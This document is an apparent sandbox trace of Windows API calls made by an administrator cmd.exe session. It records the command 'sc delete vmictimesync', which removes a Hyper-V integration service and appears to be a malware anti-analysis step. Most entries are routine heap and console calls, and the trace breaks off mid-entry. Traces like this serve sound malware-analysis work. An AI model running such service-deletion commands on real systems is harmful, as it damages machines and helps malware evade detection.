0x0 [0073.386] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.386] GetFileType (hFile=0x120) returned 0x3 [0073.386] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.386] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete vmictimesync\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete vmictimesync\n", lpUsedDefaultChar=0x0) returned 24 [0073.386] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x17, lpOverlapped=0x0) returned 1 [0073.386] GetProcessHeap () returned 0x240000 [0073.386] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x25fb10 [0073.386] GetProcessHeap () returned 0x240000 [0073.386] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25fb10 | out: hHeap=0x240000) returned 1 [0073.387] GetProcessHeap () returned 0x240000 [0073.387] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x2597e0 [0073.387] GetProcessHeap () returned 0x240000 [0073.387] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x258900 [0073.387] GetProcessHeap () returned 0x240000 [0073.387] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x3a) returned 0x25aa40 [0073.388] GetConsoleOutputCP () returned 0x1b5 [0073.388] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0073.388] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.388] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.388] GetProcessHeap () returned 0x240000 [0073.388] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0073.388] GetProcessHeap () returned 0x240000 [0073.388] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x25aa90 [0073.388] GetProcessHeap () returned 0x240000 [0073.388] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25c5b0 [0073.389] SetErrorMode (uMode=0x0) returned 0x1 [0073.389] SetErrorMode (uMode=0x1) returned 0x0 [0073.389] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25c5c0, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0073.389] SetErrorMode (uMode=0x1) returned 0x1 [0073.389] GetProcessHeap () returned 0x240000 [0073.389] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c5b0, Size=0x62) returned 0x25c5b0 [0073.389] GetProcessHeap () returned 0x240000 [0073.389] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c5b0) returned 0x62 [0073.389] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0073.389] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0073.389] GetProcessHeap () returned 0x240000 [0073.389] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x259db0 [0073.389] GetProcessHeap () returned 0x240000 [0073.389] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0073.389] GetProcessHeap () returned 0x240000 [0073.389] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0073.389] GetProcessHeap () returned 0x240000 [0073.389] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0073.389] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0073.389] GetProcessHeap () returned 0x240000 [0073.389] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0073.389] GetProcessHeap () returned 0x240000 [0073.389] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0073.389] GetProcessHeap () returned 0x240000 [0073.390] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0073.390] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.390] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0073.390] GetLastError () returned 0x2 [0073.390] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0073.390] GetLastError () returned 0x2 [0073.390] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.390] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0073.390] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0073.390] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0073.391] GetLastError () returned 0x2 [0073.391] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0073.391] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0073.391] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0073.391] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0073.391] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.391] GetProcessHeap () returned 0x240000 [0073.391] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x25c630 [0073.391] GetConsoleTitleW (in: lpConsoleTitle=0x25c640, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.391] GetProcessHeap () returned 0x240000 [0073.391] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c630, Size=0xa6) returned 0x25c630 [0073.391] GetProcessHeap () returned 0x240000 [0073.391] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c630) returned 0xa6 [0073.392] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete vmictimesync") returned 1 [0073.392] GetProcessHeap () returned 0x240000 [0073.392] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c630 | out: hHeap=0x240000) returned 1 [0073.392] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0073.392] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0073.392] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0073.392] GetProcessHeap () returned 0x240000 [0073.392] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0073.393] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0073.393] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0073.393] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0073.393] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0073.393] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0073.393] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0073.393] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0073.393] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0073.393] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0073.393] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0073.393] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0073.393] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0073.393] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0073.393] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0073.393] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0073.393] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0073.393] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0073.393] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0073.393] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0073.393] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0073.393] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0073.393] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0073.393] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0073.393] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0073.393] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0073.393] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0073.393] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0073.393] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0073.394] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0073.394] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0073.394] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0073.394] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0073.394] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0073.394] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0073.394] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0073.394] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0073.394] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0073.394] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0073.394] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0073.394] GetProcessHeap () returned 0x240000 [0073.394] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0073.394] GetProcessHeap () returned 0x240000 [0073.394] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2598a0 [0073.394] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete vmictimesync", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete vmictimesync", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete vmictimesync", lpProcessInformation=0x1af360*(hProcess=0x54, hThread=0x50, dwProcessId=0x8ec, dwThreadId=0x8fc)) returned 1 [0073.398] CloseHandle (hObject=0x50) returned 1 [0073.398] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0073.398] GetProcessHeap () returned 0x240000 [0073.398] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0073.398] GetEnvironmentStringsW () returned 0x25ba10* [0073.398] GetProcessHeap () returned 0x240000 [0073.398] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0073.398] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0073.398] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0073.398] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd8000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0073.399] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0073.478] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0073.478] CloseHandle (hObject=0x54) returned 1 [0073.478] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0073.478] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0073.478] GetProcessHeap () returned 0x240000 [0073.478] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x261b10 | out: hHeap=0x240000) returned 1 [0073.478] GetEnvironmentStringsW () returned 0x25ba10* [0073.478] GetProcessHeap () returned 0x240000 [0073.478] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0073.479] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0073.479] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0073.479] GetProcessHeap () returned 0x240000 [0073.479] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x261b10 | out: hHeap=0x240000) returned 1 [0073.479] GetEnvironmentStringsW () returned 0x25ba10* [0073.479] GetProcessHeap () returned 0x240000 [0073.479] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0073.479] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0073.479] GetProcessHeap () returned 0x240000 [0073.479] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2598a0 | out: hHeap=0x240000) returned 1 [0073.479] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0073.479] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0073.480] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.480] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0073.480] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.480] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0073.481] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.481] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0073.481] GetConsoleOutputCP () returned 0x1b5 [0073.481] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0073.481] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.481] GetProcessHeap () returned 0x240000 [0073.481] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0073.481] GetProcessHeap () returned 0x240000 [0073.481] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0073.481] GetProcessHeap () returned 0x240000 [0073.481] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259db0 | out: hHeap=0x240000) returned 1 [0073.481] GetProcessHeap () returned 0x240000 [0073.482] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c5b0 | out: hHeap=0x240000) returned 1 [0073.482] GetProcessHeap () returned 0x240000 [0073.482] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa90 | out: hHeap=0x240000) returned 1 [0073.482] GetProcessHeap () returned 0x240000 [0073.482] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0073.482] GetProcessHeap () returned 0x240000 [0073.482] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa40 | out: hHeap=0x240000) returned 1 [0073.482] GetProcessHeap () returned 0x240000 [0073.482] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x258900 | out: hHeap=0x240000) returned 1 [0073.482] GetProcessHeap () returned 0x240000 [0073.482] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2597e0 | out: hHeap=0x240000) returned 1 [0073.482] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0073.482] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.482] GetFileType (hFile=0x120) returned 0x3 [0073.482] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.482] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0073.482] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0073.482] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0073.482] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0073.482] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0073.483] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0073.483] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.483] GetFileType (hFile=0x120) returned 0x3 [0073.483] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.483] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0073.483] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0073.483] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.483] GetFileType (hFile=0xb8) returned 0x3 [0073.483] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.483] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.483] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.483] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete vmictimesync\n\nface\n") returned 1 [0073.483] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.483] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.484] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.484] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete vmictimesync\n\nface\n") returned 1 [0073.484] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.484] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.484] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.484] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete vmictimesync\n\nface\n") returned 1 [0073.484] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.484] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.484] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.484] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete vmictimesync\n\nface\n") returned 1 [0073.484] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.484] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.484] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.484] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete vmictimesync\n\nface\n") returned 1 [0073.484] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.484] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.484] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.485] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete vmictimesync\n\nface\n") returned 1 [0073.485] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.485] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.485] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.485] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete vmictimesync\n\nface\n") returned 1 [0073.485] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.485] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.485] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.485] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te vmictimesync\n\nface\n") returned 1 [0073.485] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.485] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.485] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.485] MultiByteToWideChar (in: CodePage=0x1b5, 